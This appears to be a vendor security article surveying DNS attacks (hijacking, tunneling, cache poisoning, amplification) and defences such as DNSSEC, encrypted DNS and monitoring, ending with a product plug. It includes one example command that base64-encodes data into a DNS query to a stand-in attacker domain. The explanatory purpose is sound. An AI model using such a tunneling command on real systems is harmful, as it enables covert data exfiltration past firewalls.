DNS: The Internet's Achilles Heel
The Domain Name System is fundamental to internet communications, yet it was designed without security in mind. DNS attacks can redirect users to malicious sites, exfiltrate data through DNS tunnels, or take down entire services through DNS amplification.
Major DNS Threats
DNS Hijacking
Modifying DNS records to redirect traffic:- Registrar account compromise
- DNS server compromise
- Man-in-the-middle on DNS queries
- Rogue DHCP server providing malicious DNS
DNS Tunneling
Exfiltrating data through DNS queries:# Data encoded in DNS queries
dig AAAA $(echo "stolen-data" | base64).attacker.com
DNS tunneling bypasses most firewalls because DNS traffic (port 53) is almost always allowed.
DNS Cache Poisoning
Injecting false records into DNS resolver caches:- Exploits birthday attack on transaction IDs
- Kaminsky attack variant with authority section injection
- Impacts all users of the poisoned resolver
DNS Amplification DDoS
Leveraging open DNS resolvers for reflected DDoS:- Small query generates large response (amplification factor 50-70x)
- Source IP spoofed to victim's address
- Millions of resolvers = massive attack bandwidth
Prevention
DNSSEC
Cryptographic signatures on DNS records preventing tampering:- Zone signing with RRSIG records
- Chain of trust through DS records
- NSEC/NSEC3 for authenticated denial of existence
DNS-over-HTTPS (DoH) / DNS-over-TLS (DoT)
Encrypt DNS queries to prevent interception and manipulation.DNS Monitoring
- Monitor for unusual query volumes and patterns
- Detect DNS tunneling through entropy analysis
- Alert on unauthorized DNS record changes
- Track DNS resolution latency anomalies
SuperClue DNS Module
SuperClue's DNS checks look at SPF, DKIM, and DMARC records, DNSSEC, zone transfer exposure, and subdomain takeover risk. On Linux and Windows hosts, the SOC agent can also record DNS queries (with limits), which helps when you hunt for tunneling.